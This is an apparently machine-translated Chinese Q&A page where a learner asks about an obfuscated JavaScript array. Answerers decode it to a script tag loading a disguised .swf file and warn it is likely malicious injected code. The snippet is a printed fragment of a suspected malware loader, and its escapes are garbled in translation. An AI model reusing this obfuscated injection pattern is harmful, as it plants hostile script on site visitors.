我正在学习更多的JavaScript,我想对这段代码有一些了解
I'm learning more of JavaScript and I want to have some idea about this code
我正在学习JavaScript
,我找到了这段代码:
<script>
var _0x98bd=["'x3C'x73'x63'x72'x69'x70'x74'x20'x73'x72'x63'x3D'x22'x6A'x73'x2F'x4E'x31'x39'x53'x38'x37'x4E'x39'x4E'x41'x39'x38'x37'x31'x58'x39'x38'x37'x5A'x5A'x58'x2E'x73'x77'x66'x22'x3E'x3C'x2F'x73'x63'x72'x69'x70'x74'x3E","'x77'x72'x69'x74'x65"];
</script>
有谁知道这是什么意思?
它生成以下数组:
["<script src="js/N19S87N9NA9871X987ZZX.swf"></script>", "write"]
我不知道代码的作者试图用它做什么。
数组的第一个元素是以下代码:
<script src="js/N19S87N9NA9871X987ZZX.swf"></script>
第二个要素是:
write
这只是
使用只有一个字符串元素的数组_0x98bd
变量
字符串包含一个脚本标记,如果插入到 DOM 中,它将加载一些闪存文件。第二个只包括"写"。
这可能是蠕虫的代码,它利用了一些浏览器错误。如果您在任何(生产性)网站上发现此内容,则应通知该网站的所有者,因为这可能是恶意代码!
这是混淆
的javascript代码。请参阅示例混淆器
你说你正在学习 JS,所以解释为什么它是它是什么,你可以在 ECMA-262 标准第 22-24 页找到它 http://www.ecma-international.org/publications/standards/Ecma-262.htm因为数组的两个元素介于 " 之间,所以它们是字符串文本。'' 称为转义字符,''x 后跟 2 个十六进制数字,意思是:"x 十六进制数字 十六进制数字是其代码单元值为(第一个十六进制数字的 MV 的 16 倍)加上第二个十六进制数字的 MV 的字符"例如,''x3C 等效于"<"字符。
相关文章:
- 这段jquery代码在angular指令中不起作用
- jQuery-用于检查是否有任何字段不为空,然后将所有字段设为必需字段的代码
- 在一段真实代码中延迟
- 将一段JavaScript代码转换为PHP
- 调试大段 JavaScript 代码的技术
- 这段JavaScript代码有什么问题
- 为什么这段Javascript代码在我的浏览器上不起作用
- 在 android 的 webview 中嵌入一段 HTML 代码或 Javascript 脚本
- 如何获取单击元素的类值,并使用此值在 jquery 中最后一次出现此类之后放置一段 html 代码
- 如果选中了特定的复选框,我想运行另一段 jQuery 代码(如果是)
- 在哪里放置这段JavaScript代码才能正常工作
- 有人能告诉我这一小段js代码在做什么吗
- 为什么没有't影响这段JavaScript代码
- 这段javascript代码可以在chrome中工作,但不能在firefox中工作
- 在这段Javascript代码中,“word”是一个函数、变量或对象吗?
- 试图澄清这段javascript代码
- 为什么这段javascript代码没有产生任何输出?似乎没有任何错误
- 如何将JS实现为两段HTML代码
- 这段JavaScript代码在做什么?
- 在这段Javascript代码中,返回- 1,1和0是什么意思?